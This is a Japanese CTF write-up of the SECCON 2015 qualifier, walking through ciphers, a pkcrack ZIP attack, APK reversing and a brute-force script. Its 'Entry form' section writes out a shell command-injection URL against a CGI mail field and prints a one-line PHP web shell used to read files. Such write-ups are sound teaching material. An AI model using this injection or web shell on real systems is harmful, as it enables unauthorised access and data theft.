ほとんど一人のチームで172位。(1問だけ一人に手伝ってもらった)
解いた問題だけ。
Start SECCON CTF
[perl]
my $tab1 = ‘PXFR}QIVTMSZCNDKUWAGJB{LHYEOEV}ZZD{DWZRA}FFDNFGQO’;
my $tab2 = ‘ABCDEFGHIJKLMNOPQRSTUVWXYZ{}{HELLOWORLDSECCONCTF}’;
my $q = ‘A}FFDNEVPFSGV}KZPN}GO’;
print substr($tab2, index($tab1, $_, 0), 1) for split //, $q;
[/perl]
Flag: SECCON{HACKTHEPLANET}
Unzip the file
ZIPファイルに暗号化された3つのファイルが入っている。
Date Time Attr Size Compressed Name ------------------- ----- ------------ ------------ ------------------------ 2015-11-30 16:23:23 ..... 14182 5300 backnumber08.txt 2015-11-30 16:22:33 ..... 12064 4851 backnumber09.txt 2015-12-01 15:21:52 ..... 22560 11033 flag ------------------- ----- ------------ ------------ ------------------------ 48806 21184 3 files, 0 folders
flag以外の2つのファイルを使って既知平文攻撃をしろということっぽいので、サイズがでかいbacknumber08.txtのほうを探すと、http://2014.seccon.jp/mailmagazine/backnumber08.txtが見つかった。
ZIPの既知平文攻撃はpkcrackというツールで行えるが、backnumber08.txtはDeflateされた状態で暗号化されているので、同じサイズになるように圧縮してやらないといけない。
どうせzlibでデフォルトの圧縮率だろうと、Linuxのzipコマンドで圧縮してやるとサイズが一致した。
Date Time Attr Size Compressed Name ------------------- ----- ------------ ------------ ------------------------ 2015-12-05 15:03:25 ..... 14182 5288 backnumber08.txt ------------------- ----- ------------ ------------ ------------------------ 14182 5288 1 files, 0 folders
(12バイトの差は暗号化のときに付くヘッダの分なのでぴったり一致している)
あとは、圧縮したbacknumber08.zipを指定してpkcrackで復号すると、「flag」というファイルが取り出せる。
./pkcrack -C ./unzip -c backnumber08.txt -P ./backnumber08.zip -p backnumber08.txt -d decrypted.zip
flagファイルも一見zipファイルだが、展開してみるとWordのファイルっぽいので、拡張子を.docxにしてWordで開くと白文字でフラグが書かれている。
Flag: SECCON{1sth1s_passw0rd weak?}
Reverse-Engineering Android APK 1
Androidのapkファイルが与えられるので、apkファイルを解凍して出てくるclasses.dexをdex2jarでjarファイルに変換してjd-guiでコードを読む。
[java]
if (1000 == MainActivity.this.cnt) {
localTextView.setText("SECCON{" + String.valueOf((MainActivity.this.cnt + MainActivity.this.calc()) * 107) + "}");
}
[/java]
こんなコードが見つかる。MainActivity.this.cntは分かるが、MainActivity.this.calc()が返す値はapkに同封されてるライブラリのほうを見ないとだめらしい。
lib/x86/libcalc.soをobjdumpで逆アセンブルする。
00000400: 400: b8 07 00 00 00 mov $0x7,%eax 405: c3 ret
MainActivity.this.calc()は7になりそうなので、(1000 + 7) * 107をそのまま文字列にした107749が中に入る値になる。
Flag: SECCON{107749}
Connect the server
login.pwn.seccon.jp:10000
telnetで繋ぐと以下のメッセージが降ってくる。
hoge@ubuntu:~$ telnet login.pwn.seccon.jp 10000 Trying 133.242.228.87... Connected to login.pwn.seccon.jp. Escape character is '^]'. CONNECT 300 Welcome to SECCON server. The server is connected via slow dial-up connection. Please be patient, and do not brute-force. login: Login timer timed out. Thank you for your cooperation. HINT: It is already in your hands. Good bye. Connection closed by foreign host.
「HINT: It is already in your hands.」とあるので、今度はパケットをキャプチャしながら繋く。
Wiresharkを見ると、ターミナル上に表示されない制御コードのBSとスペースが混じったフラグっぽい文字が見える。
Flag: SECCON{Sometimes_what_you_see_is_NOT_what_you_get}
Entry form
チームメンバーが手伝ってくれて終了5分前に解けた。
メールアドレスと名前を入力するフォームがあって、適当な値を入力して送ると、「Your entry was sent. Go Back」とだけ書かれたページが表示される。
http://entryform.pwn.seccon.jp/にアクセスすると以下4つのフォルダ・ファイルが見つかる。
SECRETS log logo.png register.cgi register.cgi_bak
register.cgi_bakにアクセスすると、register.cgiのソースらしきコードが表示される。
(実際のコード紛失)
open(LOG, ">>log"); ### <-- FLAG HERE ###
とあるので、http://entryform.pwn.seccon.jp/logにアクセスするが403。
open(SH, "|/usr/sbin/sendmail -bm '".$q->param("mail")."'");
この行が使えそうなので、mailパラメータに'cat log'などを入れてみるも何も表示されず。
しかし、lsはできるので、
http://entryform.pwn.seccon.jp/register.cgi?mail=hoge%40unko.net%27%3B+ls+SECRETS%2F%27&name=unko&action=Send
これでSECRETSの中のファイルが取れた。
catでbackdoor123.phpの中身を表示させる。
<pre><?php system($_GET['cmd']); ?></pre>
このbackdoor123.phpを使ってlogの中身が表示できる。
http://entryform.pwn.seccon.jp/SECRETS/backdoor123.php?cmd=head%20../log
Flag: SECCON{Glory_will_shine_on_you.}
Exec dmesg
Linuxのisoファイルが与えられるので、VirtualBoxで起動してみるが、dmesgは実行できない。
dmesgで出力されるメッセージの中にフラグがあるとしたら、メモリのどこかにはあるはずなので、
VirtualBoxのプロセスごとメモリダンプしてstringsしてみると、フラグらしき文字列が見つかった。
Flag: SECCON{elf32-i386}
Decrypt it
$ ./cryptooo SECCON{*************************} Encrypted(44): waUqjjDGnYxVyvUOLN8HquEO0J5Dqkh/zr/3KXJCEnw=
とcryptoooのバイナリが与えられるので、キーを復元しろという問題。
$ ./cryptooo SECCON{ Encrypted(12): waUqjjDGnQ==
途中まででも暗号化後のデータは同じになるみたいなので、
0x20-0x7eの1文字を追加して「waUqjjDGnYxVyvUOLN8HquEO0J5Dqkh/zr/3KXJCEnw=」と同じ値になるまで適当に繰り返していたらフラグが得られた。
[perl]
my $cmp = "waUqjjDGn";
my @r = split//,"YxVyvUOLN8HquEO0J5Dqkh/zr/3KXJCEnw=";
my @w = ("SECCON{");
while (@w && @r) {
my @t = @w;
@w = ();
while (my $w = shift @t) {
for my $c (0x21..0x7e) {
$c = chr($c);
my $s = $w.$c;
my $r=`./cryptooo '$s'`;
next unless $r=~/: (.+)/;
next if index($1, $cmp) < 0;
print $s,q{ },$1,$/;
push @w, $s;
}
}
$cmp .= shift @r;
$cmp .= shift @r if scalar(@w) > 10;
print scalar(@w), $/;
}
[/perl]
Flag: SECCON{Cry_Pto_Oo_Oo1Oo_oo_Oo_O}
Last Challenge
Start SECCON CTFと同じ。
[perl]
my $tab1 = 'PXFR}QIVTMSZCNDKUWAGJB{LHYEOEV}ZZD{DWZRA}FFDNFGQO';
my $tab2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}{HELLOWORLDSECCONCTF}';
my $q = 'A}FFDNEA}}HDJN}LGH}PWO';
print substr($tab2, index($tab1, $_, 0), 1) for split //, $q;
[/perl]
Flag: SECCON{SEEYOUNEXTYEAR}
コメント